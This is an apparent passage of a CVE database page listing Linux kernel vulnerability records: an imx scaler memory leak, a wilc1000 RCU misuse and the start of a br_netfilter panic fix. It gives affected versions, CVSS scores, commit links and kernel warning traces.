              "version": "a8ef0488cc592921a917362cca66af4a601987b9",
              "versionType": "git"
            },
            {
              "lessThan": "b1d0eebaf87cc9ccd05f779ec4a0589f95d6c18b",
              "status": "affected",
              "version": "a8ef0488cc592921a917362cca66af4a601987b9",
              "versionType": "git"
            },
            {
              "lessThan": "8df9a3c7044b847e9c4dc7e683fd64c6b873f328",
              "status": "affected",
              "version": "a8ef0488cc592921a917362cca66af4a601987b9",
              "versionType": "git"
            },
            {
              "lessThan": "d164ddc21e986dd9ad614b4b01746e5457aeb24f",
              "status": "affected",
              "version": "a8ef0488cc592921a917362cca66af4a601987b9",
              "versionType": "git"
            },
            {
              "lessThan": "42492b00156c03a79fd4851190aa63045d6a15ce",
              "status": "affected",
              "version": "a8ef0488cc592921a917362cca66af4a601987b9",
              "versionType": "git"
            },
            {
              "lessThan": "6c92224721a439d6350db5933a1060768dcd565e",
              "status": "affected",
              "version": "a8ef0488cc592921a917362cca66af4a601987b9",
              "versionType": "git"
            },
            {
              "lessThan": "4797a3dd46f220e6d83daf54d70c5b33db6deb01",
              "status": "affected",
              "version": "a8ef0488cc592921a917362cca66af4a601987b9",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/staging/media/imx/imx-media-csc-scaler.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.4"
            },
            {
              "lessThan": "5.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: imx: csc/scaler: fix v4l2_ctrl_handler memory leak\n\nFree the memory allocated in v4l2_ctrl_handler_init on release."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:09:55.555Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8c2e4efe1278cd2b230cdbf90a6cefbf00acc282"
        },
        {
          "url": "https://git.kernel.org/stable/c/5d9fe604bf9b5b09d2215225df55f22a4cbbc684"
        },
        {
          "url": "https://git.kernel.org/stable/c/b1d0eebaf87cc9ccd05f779ec4a0589f95d6c18b"
        },
        {
          "url": "https://git.kernel.org/stable/c/8df9a3c7044b847e9c4dc7e683fd64c6b873f328"
        },
        {
          "url": "https://git.kernel.org/stable/c/d164ddc21e986dd9ad614b4b01746e5457aeb24f"
        },
        {
          "url": "https://git.kernel.org/stable/c/42492b00156c03a79fd4851190aa63045d6a15ce"
        },
        {
          "url": "https://git.kernel.org/stable/c/6c92224721a439d6350db5933a1060768dcd565e"
        },
        {
          "url": "https://git.kernel.org/stable/c/4797a3dd46f220e6d83daf54d70c5b33db6deb01"
        }
      ],
      "title": "media: imx: csc/scaler: fix v4l2_ctrl_handler memory leak",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27076",
    "datePublished": "2024-05-01T13:04:48.074Z",
    "dateReserved": "2024-02-19T14:20:24.217Z",
    "dateUpdated": "2026-05-12T11:51:29.425Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27053 (GCVE-0-2024-27053)

Vulnerability from cvelistv5 – Published: 2024-05-01 12:54 – Updated: 2026-05-12 11:51

Title

wifi: wilc1000: fix RCU usage in connect path

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: wilc1000: fix RCU usage in connect path With lockdep enabled, calls to the connect function from cfg802.11 layer lead to the following warning: ============================= WARNING: suspicious RCU usage 6.7.0-rc1-wt+ #333 Not tainted ----------------------------- drivers/net/wireless/microchip/wilc1000/hif.c:386 suspicious rcu_dereference_check() usage! [...] stack backtrace: CPU: 0 PID: 100 Comm: wpa_supplicant Not tainted 6.7.0-rc1-wt+ #333 Hardware name: Atmel SAMA5 unwind_backtrace from show_stack+0x18/0x1c show_stack from dump_stack_lvl+0x34/0x48 dump_stack_lvl from wilc_parse_join_bss_param+0x7dc/0x7f4 wilc_parse_join_bss_param from connect+0x2c4/0x648 connect from cfg80211_connect+0x30c/0xb74 cfg80211_connect from nl80211_connect+0x860/0xa94 nl80211_connect from genl_rcv_msg+0x3fc/0x59c genl_rcv_msg from netlink_rcv_skb+0xd0/0x1f8 netlink_rcv_skb from genl_rcv+0x2c/0x3c genl_rcv from netlink_unicast+0x3b0/0x550 netlink_unicast from netlink_sendmsg+0x368/0x688 netlink_sendmsg from ____sys_sendmsg+0x190/0x430 ____sys_sendmsg from ___sys_sendmsg+0x110/0x158 ___sys_sendmsg from sys_sendmsg+0xe8/0x150 sys_sendmsg from ret_fast_syscall+0x0/0x1c This warning is emitted because in the connect path, when trying to parse target BSS parameters, we dereference a RCU pointer whithout being in RCU critical section. Fix RCU dereference usage by moving it to a RCU read critical section. To avoid wrapping the whole wilc_parse_join_bss_param under the critical section, just use the critical section to copy ies data

Severity ?

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e556006de4ea93abe…
https://git.kernel.org/stable/c/b4bbf38c350acb650…
https://git.kernel.org/stable/c/d80fc436751cfa6b0…
https://git.kernel.org/stable/c/745003b5917b61035…
https://git.kernel.org/stable/c/4bfd20d5f5c62b549…
https://git.kernel.org/stable/c/5800ec78775c0cd64…
https://git.kernel.org/stable/c/dd50d3ead6e3707bb…
https://git.kernel.org/stable/c/205c50306acf58a33…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c460495ee072fc01a9b1e8d72c179510418cafac , < e556006de4ea93abe2b46cba202a2556c544b8b2 (git) Affected: c460495ee072fc01a9b1e8d72c179510418cafac , < b4bbf38c350acb6500cbe667b1e2e68f896e4b38 (git) Affected: c460495ee072fc01a9b1e8d72c179510418cafac , < d80fc436751cfa6b02a8eda74eb6cce7dadfe5a2 (git) Affected: c460495ee072fc01a9b1e8d72c179510418cafac , < 745003b5917b610352f52fe0d11ef658d6471ec2 (git) Affected: c460495ee072fc01a9b1e8d72c179510418cafac , < 4bfd20d5f5c62b5495d6c0016ee6933bd3add7ce (git) Affected: c460495ee072fc01a9b1e8d72c179510418cafac , < 5800ec78775c0cd646f71eb9bf8402fb794807de (git) Affected: c460495ee072fc01a9b1e8d72c179510418cafac , < dd50d3ead6e3707bb0a5df7cc832730c93ace3a7 (git) Affected: c460495ee072fc01a9b1e8d72c179510418cafac , < 205c50306acf58a335eb19fa84e40140f4fe814f (git)
Linux	Linux	Affected: 5.1 Unaffected: 0 , < 5.1 (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "e556006de4ea",
                "status": "affected",
                "version": "c460495ee072",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "b4bbf38c350a",
                "status": "affected",
                "version": "c460495ee072",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "d80fc436751c",
                "status": "affected",
                "version": "c460495ee072",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "745003b5917b",
                "status": "affected",
                "version": "c460495ee072",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "4bfd20d5f5c",
                "status": "affected",
                "version": "c460495ee072",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5800ec78775c",
                "status": "affected",
                "version": "c460495ee072",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "dd50d3ead6e3",
                "status": "affected",
                "version": "c460495ee072",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "205c50306acf",
                "status": "affected",
                "version": "c460495ee072",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.5",
                "status": "unaffected",
                "version": "5.4.273",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.16",
                "status": "unaffected",
                "version": "5.15.153",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.2",
                "status": "unaffected",
                "version": "6.1.83",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.7",
                "status": "unaffected",
                "version": "6.6.23",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.8",
                "status": "unaffected",
                "version": "6.7.11",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.9"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.1",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:5.1:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "5.1"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "5.11",
                "status": "unaffected",
                "version": "5.10.214",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThanOrEqual": "6.9",
                "status": "unaffected",
                "version": "6.8.2",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.1,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-27053",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-05T20:53:59.281892Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-05T20:56:44.439Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.869Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e556006de4ea93abe2b46cba202a2556c544b8b2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b4bbf38c350acb6500cbe667b1e2e68f896e4b38"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d80fc436751cfa6b02a8eda74eb6cce7dadfe5a2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/745003b5917b610352f52fe0d11ef658d6471ec2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4bfd20d5f5c62b5495d6c0016ee6933bd3add7ce"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5800ec78775c0cd646f71eb9bf8402fb794807de"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dd50d3ead6e3707bb0a5df7cc832730c93ace3a7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/205c50306acf58a335eb19fa84e40140f4fe814f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:19.382Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/microchip/wilc1000/hif.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e556006de4ea93abe2b46cba202a2556c544b8b2",
              "status": "affected",
              "version": "c460495ee072fc01a9b1e8d72c179510418cafac",
              "versionType": "git"
            },
            {
              "lessThan": "b4bbf38c350acb6500cbe667b1e2e68f896e4b38",
              "status": "affected",
              "version": "c460495ee072fc01a9b1e8d72c179510418cafac",
              "versionType": "git"
            },
            {
              "lessThan": "d80fc436751cfa6b02a8eda74eb6cce7dadfe5a2",
              "status": "affected",
              "version": "c460495ee072fc01a9b1e8d72c179510418cafac",
              "versionType": "git"
            },
            {
              "lessThan": "745003b5917b610352f52fe0d11ef658d6471ec2",
              "status": "affected",
              "version": "c460495ee072fc01a9b1e8d72c179510418cafac",
              "versionType": "git"
            },
            {
              "lessThan": "4bfd20d5f5c62b5495d6c0016ee6933bd3add7ce",
              "status": "affected",
              "version": "c460495ee072fc01a9b1e8d72c179510418cafac",
              "versionType": "git"
            },
            {
              "lessThan": "5800ec78775c0cd646f71eb9bf8402fb794807de",
              "status": "affected",
              "version": "c460495ee072fc01a9b1e8d72c179510418cafac",
              "versionType": "git"
            },
            {
              "lessThan": "dd50d3ead6e3707bb0a5df7cc832730c93ace3a7",
              "status": "affected",
              "version": "c460495ee072fc01a9b1e8d72c179510418cafac",
              "versionType": "git"
            },
            {
              "lessThan": "205c50306acf58a335eb19fa84e40140f4fe814f",
              "status": "affected",
              "version": "c460495ee072fc01a9b1e8d72c179510418cafac",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/microchip/wilc1000/hif.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.1"
            },
            {
              "lessThan": "5.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: wilc1000: fix RCU usage in connect path\n\nWith lockdep enabled, calls to the connect function from cfg802.11 layer\nlead to the following warning:\n\n=============================\nWARNING: suspicious RCU usage\n6.7.0-rc1-wt+ #333 Not tainted\n-----------------------------\ndrivers/net/wireless/microchip/wilc1000/hif.c:386\nsuspicious rcu_dereference_check() usage!\n[...]\nstack backtrace:\nCPU: 0 PID: 100 Comm: wpa_supplicant Not tainted 6.7.0-rc1-wt+ #333\nHardware name: Atmel SAMA5\n unwind_backtrace from show_stack+0x18/0x1c\n show_stack from dump_stack_lvl+0x34/0x48\n dump_stack_lvl from wilc_parse_join_bss_param+0x7dc/0x7f4\n wilc_parse_join_bss_param from connect+0x2c4/0x648\n connect from cfg80211_connect+0x30c/0xb74\n cfg80211_connect from nl80211_connect+0x860/0xa94\n nl80211_connect from genl_rcv_msg+0x3fc/0x59c\n genl_rcv_msg from netlink_rcv_skb+0xd0/0x1f8\n netlink_rcv_skb from genl_rcv+0x2c/0x3c\n genl_rcv from netlink_unicast+0x3b0/0x550\n netlink_unicast from netlink_sendmsg+0x368/0x688\n netlink_sendmsg from ____sys_sendmsg+0x190/0x430\n ____sys_sendmsg from ___sys_sendmsg+0x110/0x158\n ___sys_sendmsg from sys_sendmsg+0xe8/0x150\n sys_sendmsg from ret_fast_syscall+0x0/0x1c\n\nThis warning is emitted because in the connect path, when trying to parse\ntarget BSS parameters, we dereference a RCU pointer whithout being in RCU\ncritical section.\nFix RCU dereference usage by moving it to a RCU read critical section. To\navoid wrapping the whole wilc_parse_join_bss_param under the critical\nsection, just use the critical section to copy ies data"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:09:29.759Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e556006de4ea93abe2b46cba202a2556c544b8b2"
        },
        {
          "url": "https://git.kernel.org/stable/c/b4bbf38c350acb6500cbe667b1e2e68f896e4b38"
        },
        {
          "url": "https://git.kernel.org/stable/c/d80fc436751cfa6b02a8eda74eb6cce7dadfe5a2"
        },
        {
          "url": "https://git.kernel.org/stable/c/745003b5917b610352f52fe0d11ef658d6471ec2"
        },
        {
          "url": "https://git.kernel.org/stable/c/4bfd20d5f5c62b5495d6c0016ee6933bd3add7ce"
        },
        {
          "url": "https://git.kernel.org/stable/c/5800ec78775c0cd646f71eb9bf8402fb794807de"
        },
        {
          "url": "https://git.kernel.org/stable/c/dd50d3ead6e3707bb0a5df7cc832730c93ace3a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/205c50306acf58a335eb19fa84e40140f4fe814f"
        }
      ],
      "title": "wifi: wilc1000: fix RCU usage in connect path",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27053",
    "datePublished": "2024-05-01T12:54:45.964Z",
    "dateReserved": "2024-02-19T14:20:24.214Z",
    "dateUpdated": "2026-05-12T11:51:19.382Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50045 (GCVE-0-2024-50045)

Vulnerability from cvelistv5 – Published: 2024-10-21 19:39 – Updated: 2026-05-12 12:00

Title

netfilter: br_netfilter: fix panic with metadata_dst skb

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: br_netfilter: fix panic with metadata_dst skb Fix a kernel panic in the br_netfilter module when sending untagged traffic via a VxLAN device. This happens during the check for fragmentation in br_nf_dev_queue_xmit. It is dependent on: 1) the br_netfilter module being loaded; 2) net.bridge.bridge-nf-call-iptables set to 1; 3) a bridge with a VxLAN (single-vxlan-device) netdevice as a bridge port; 4) untagged frames with size higher than the VxLAN MTU forwarded/flooded When forwarding the untagged packet to the VxLAN bridge port, before the netfilter hooks are called, br_handle_egress_vlan_tunnel is called and changes the skb_dst to the tunnel dst. The tunnel_dst is a metadata type of dst, i.e., skb_valid_dst(skb) is false, and metadata->dst.dev is NULL. Then in the br_netfilter hooks, in br_nf_dev_queue_xmit, there's a check for frames that needs to be fragmented: frames with higher MTU than the VxLAN device end up calling br_nf_ip_fragment, which in turns call ip_skb_dst_mtu. The ip_dst_mtu tries to use the skb_dst(skb) as if it was a valid dst with valid dst->dev, thus the crash. This case was never supported in the first place, so drop the packet instead. PING 10.0.0.2 (10.0.0.2) from 0.0.0.0 h1-eth0: 2000(2028) bytes of data. [ 176.291791] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000110 [ 176.292101] Mem abort info: [ 176.292184] ESR = 0x0000000096000004 [ 176.292322] EC = 0x25: DABT (current EL), IL = 32 bits [ 176.292530] SET = 0, FnV = 0 [ 176.292709] EA = 0, S1PTW = 0 [ 176.292862] FSC = 0x04: level 0 translation fault [ 176.293013] Data abort info: [ 176.293104] ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 [ 176.293488] CM = 0, WnR = 0, TnD = 0, TagAccess = 0 [ 176.293787] GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 [ 176.293995] user pgtable: 4k pages, 48-bit VAs, pgdp=0000000043ef5000 [ 176.294166] [0000000000000110] pgd=0000000000000000, p4d=0000000000000000 [ 176.294827] Internal error: Oops: 0000000096000004 [#1] 